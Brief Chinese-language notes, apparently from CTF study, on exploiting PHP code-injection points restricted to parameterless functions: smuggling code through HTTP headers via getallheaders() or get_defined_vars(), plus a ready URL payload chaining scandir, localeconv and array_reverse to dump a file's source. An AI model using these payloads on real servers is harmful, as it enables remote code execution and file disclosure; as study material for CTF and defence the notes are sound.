apache环境下,getallheaders()函数可以返回http header。如果在http header中添加自定义代码,再将其取出即可执行。
如果目标中间件不为apache,可以使用get_defined_vars()函数,它可以返回全局变量。
另一种方法
?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
scandir('.') //返回当前目录所有文件名
current(localeconv()) pos(localeconv()) reset(localeconv()) //都可以返回.
array_reverse() //以相反的元素顺序返回数组
参考资料:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/